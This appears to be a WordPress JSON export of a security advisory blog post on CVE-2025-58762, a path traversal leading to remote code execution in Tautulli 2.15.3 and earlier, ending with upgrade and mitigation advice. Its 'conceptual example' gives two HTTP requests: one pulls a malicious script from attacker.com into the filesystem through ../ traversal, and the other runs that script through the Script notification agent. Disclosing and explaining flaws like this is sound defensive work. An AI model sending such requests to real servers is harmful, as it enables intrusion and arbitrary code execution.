{"id":75947,"date":"2025-09-17T09:40:19","date_gmt":"2025-09-17T09:40:19","guid":{"rendered":""},"modified":"2025-10-14T17:55:25","modified_gmt":"2025-10-14T23:55:25","slug":"cve-2025-58762-critical-remote-code-execution-vulnerability-in-tautulli-v2-15-3-and-earlier","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58762-critical-remote-code-execution-vulnerability-in-tautulli-v2-15-3-and-earlier\/","title":{"rendered":"<strong>CVE-2025-58762: Critical Remote Code Execution Vulnerability in Tautulli v2.15.3 and Earlier<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Tautulli, a popular Python-based monitoring and tracking tool for Plex Media Server, has been found to have a critical remote code execution vulnerability in versions 2.15.3 and earlier. This vulnerability is of high importance due to the potential system compromise or data leakage it can cause. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50753-shell-access-vulnerability-in-mitrastar-gpt-2741gnac-n2-devices\/\"  data-wpil-monitor-id=\"85861\">vulnerability can be exploited by an attacker with administrative access<\/a> to the server, using the `pms_image_proxy` endpoint and the `Script` notification agent.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-58762<br \/>\nSeverity: Critical (CVSS: 9.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Admin<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7775-critical-memory-overflow-vulnerability-in-netscaler-adc-and-gateway-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"83800\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2407338725\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58761-critical-path-traversal-vulnerability-in-tautulli-v2-15-3-and-prior\/\"  data-wpil-monitor-id=\"89814\">Tautulli | v2.15.3<\/a> and earlier<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit involves an attacker with administrative access exploiting the `pms_image_proxy` endpoint to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47129-out-of-bounds-write-vulnerability-in-adobe-framemaker-with-potential-for-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"86885\">write arbitrary<\/a> Python scripts into the application filesystem. This is achieved by changing the URL of the PMS to a server they control and making a `pms_image_proxy` request with a URL in the `img` parameter and the desired file name in the `img_format` parameter.<br \/>\nAs Tautulli uses a hash of the desired metadata, along with the `img_format` to construct a file path, and `img_format` is not sanitized, the attacker can use <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54261-critical-path-traversal-vulnerability-in-coldfusion\/\"  data-wpil-monitor-id=\"89186\">path traversal<\/a> characters to specify the filename of their choice. If the file does not exist, Tautulli will attempt to fetch the image from the configured PMS. Since the attacker controls the PMS, they can return arbitrary content in response to this request, which will then be written into the specified file.<br \/>\nThe attacker can then use the built-in `Script` notification agent to run the local script, effectively obtaining <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0074-critical-remote-code-execution-vulnerability-in-sdp-discovery\/\"  data-wpil-monitor-id=\"83560\">remote code execution<\/a> on the application server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2470993217\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/pms_image_proxy\/img?url=http:\/\/attacker.com\/malicious_script.py&amp;img_format=..\/..\/..\/..\/home\/user\/malicious_script.py HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>The attacker would then trigger the script execution through the `Script` notification agent.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/notification_agents\/Script HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;script_folder&quot;: &quot;\/home\/user&quot;, &quot;script_file&quot;: &quot;malicious_script.py&quot; }<\/code><\/pre>\n<p>This is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22408-high-risk-remote-code-execution-vulnerability-in-rfc-utils\/\"  data-wpil-monitor-id=\"84011\">high-risk vulnerability<\/a>, and users are strongly advised to upgrade to Tautulli version 2.16.0 to receive a patch. As a temporary mitigation, a web application firewall (WAF) or intrusion detection system (IDS) can be used to monitor and block suspicious requests and activities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Tautulli, a popular Python-based monitoring and tracking tool for Plex Media Server, has been found to have a critical remote code execution vulnerability in versions 2.15.3 and earlier. This vulnerability is of high importance due to the potential system compromise or data leakage it can cause. The vulnerability can be exploited by an attacker [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[85,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75947","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-directory-traversal","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75947","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=75947"}],"version-history":[{"count":7,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75947\/revisions"}],"predecessor-version":[{"id":82688,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75947\/revisions\/82688"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=75947"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=75947"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=75947"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=75947"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=75947"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=75947"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=75947"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=75947"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=75947"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}